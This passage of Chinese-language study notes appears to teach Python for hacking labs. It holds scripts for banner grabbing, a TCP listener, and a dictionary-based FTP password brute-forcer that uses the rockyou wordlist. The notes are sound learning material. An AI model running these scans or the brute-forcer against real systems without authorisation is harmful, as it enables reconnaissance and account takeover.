(**"""**) 表示。 * 整合開發環境(IDE):書中推薦Leafpad、PyCrust、PyCharm(均須額外安裝),個人則推薦VS Code、Jupyter Lab、Google Colab(以下內容則使用 **vim** 完成)。 * 書中有關物件導向、控制語句、函式、模組等相關知識請自行閱讀(建議找其他資料補充)。 * 橫幅抓取(banner grabbing)--歡迎訊息 * vim test_01.py ```zsh= #! /usr/bin/python3 import socket s = socket.socket() # 宣告為socket()物件 s.connect(("192.168.0.81", 22)) # 使用connect()方法,建立指定IP與通訊埠的連線 answer = s.recv(1024) # 使用recv()方法,設定一次讀取多少bytes資料 print(answer) s.close() ``` * 橫幅抓取(banner grabbing)--for迴圈 * vim test_02.py ```zsh= #! /usr/bin/python3 import socket Ports = [21,22,3306] # 利用list建立通訊埠清單 for i in Ports: # 逐次讀出list資料 # for i in range(len(Ports)): s = socket.socket() Port = i # Port = Ports[i] print("This Is the Banner for the Port: " + str(Port)) s.connect(("192.168.0.81", Port)) answer = s.recv(1024) print(str(answer) + "\n") s.close() ``` * TCP 監聽器--while迴圈 * vim test_03.py ```zsh= #! /usr/bin/python3 import socket TCP_IP = "192.168.0.80" TCP_PORT = 50000 BUFFER_SIZE = 100 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 於伺服器之間串接,並使用TCP(資料流)方式 s.bind((TCP_IP, TCP_PORT)) # 綁定IP與通訊埠 s.listen(1) # 監聽網路接口(socket串接最大值) conn, addr = s.accept() # 獲取連接系統的IP與通訊埠 print ("Connection address: ", addr ) while 1: data=conn.recv(BUFFER_SIZE) if not data: break print ("Received data: ", data) conn.send(data) conn.close() ``` * 在Client端使用以下指令: ```zsh= curl 192.168.0.80:50000 ``` * 駭客滲透前的資料蒐集活動(瞭解目標),一般稱作偵查(reconnaissance) * 密碼破解器--例外處理 * vim test_04.py ```zsh= #! /usr/bin/python3 import ftplib server = input("FTP Server: ") # 輸入伺服器IP user = input("username: ") # 輸入使用者帳號 Passwordlist = input("Path to Password List > ") # 輸入字典檔名稱 try: with open(Passwordlist, 'r') as pw: # 以唯讀方式開啟字典檔 for word in pw: word = word.strip ('\r').strip('\n') # 移除空白行 try: ftp = ftplib.FTP(server) # 宣告為ftplib.FTP()物件 ftp.login(user, word) # 使用清單中密碼登入指定帳號 print ("Success! The password is " + word) break except: print("Still trying....") except: print ("Passwordlist error") ``` * 密碼字典: /usr/share/wordlists/rockyou.txt.gz (應先解壓縮備用) * 延伸閱讀 * [scapy](https://scapy.net/) (網路封包解析 python 函示庫) * [How I built a WiFi hacking device using a Raspberry Pi!](https://youtu.be/a10Q8var61k) (youtube) ## 參考資源 * [Netman 的 Linux 課程](https://youtube.com/playlist?list=PLmH0oRHkZPSUBmF5iXxtJb04e11MytQnu&si=s3UkSDx-LSj4wNdR) * [Study area 酷!學園](http://www.study-area.org/linux/linuxfr.htm) * Apps * [Termux](https://play.google.com/store/apps/details?id=com.termux&hl=zh_TW) (Android) * [iSH Shell](https://apps.apple.com/tw/app/ish-shell/id1436902243) (iOS) * [Linux Anywhere! 使用 iPhone 建立行動 Linux 環境](https://youtu.be/FtSbgiXPJgo) (Andrew)